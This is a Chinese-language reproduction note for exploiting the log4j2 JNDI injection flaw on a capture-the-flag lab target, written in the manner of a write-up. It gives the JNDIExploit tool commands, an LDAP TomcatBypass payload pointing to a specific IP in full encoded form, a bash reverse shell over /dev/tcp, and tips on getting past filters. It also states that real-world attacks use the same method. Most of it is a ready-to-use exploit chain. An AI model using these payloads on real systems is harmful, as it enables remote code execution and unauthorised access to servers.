去年爆出的log4j2漏洞,写一个实战利用的复现笔记,找了几个靶场作为复现靶机。
一、靶场地址:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
靶场环境:
环境是:
SpringBoot版本 2.6.1 log4j版本 2.14.1
java8
- 先抓个登录包,看一下参数
username和password参数中尝试jndi注入
2、用自己的vps开启ldap和web服务,这里直接使用工具JNDIExploit.v1.2
3、启用工具
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 查看payload
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 【vps ip】 开启LDAP和http服务
4、使用tomcatbypass base64加密payload
${JNDI:ldap://39.106.216.88:1389/TomcatBypass/Command/Base64/【反弹shell】
这里反弹shell需要编码绕过
这里我先将反弹shell进行了url编码,再base64编码,最后将payload整体url编码
最后得出payload
%24%7b%4a%4e%44%49%3a%6c%64%61%70%3a%2f%2f%33%39%2e%31%30%36%2e%32%31%36%2e%38%38%3a%31%33%38%39%2f%54%6f%6d%63%61%74%42%79%70%61%73%73%2f%43%6f%6d%6d%61%6e%64%2f%42%61%73%65%36%34%2f%59%6d%46%7a%61%43%41%74%61%53%41%25%32%42%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%7a%4f%53%34%78%4d%44%59%75%4d%6a%45%32%4c%6a%67%34%4c%7a%55%77%4d%44%55%77%49%44%41%25%32%42%4a%6a%45%25%33%44%7d
反弹shell为bash -i >& /dev/tcp/【vps ip】/50050 0>&1}
(YmFzaCAtaSA%2BJiAvZGV2L3RjcC8zOS4xMDYuMjE2Ljg4LzUwMDUwIDA%2BJjE%3D为base64编码后的反弹shell)
5、监听payload中写的50050端口
6、写入参数中
发现反弹shell成功
Flag就在根目录。
实战中方法跟靶场一样,其他靶场就不再赘述了,失败的话一般注意以下几点:
1、payload可以换几个试试一般常用的是
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]和ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
2、注意反弹shell的payload被过滤,可以尝试编码绕过。
3、确保自己的ldap服务和http服务网络可达。
4、注意哪些参数是注入点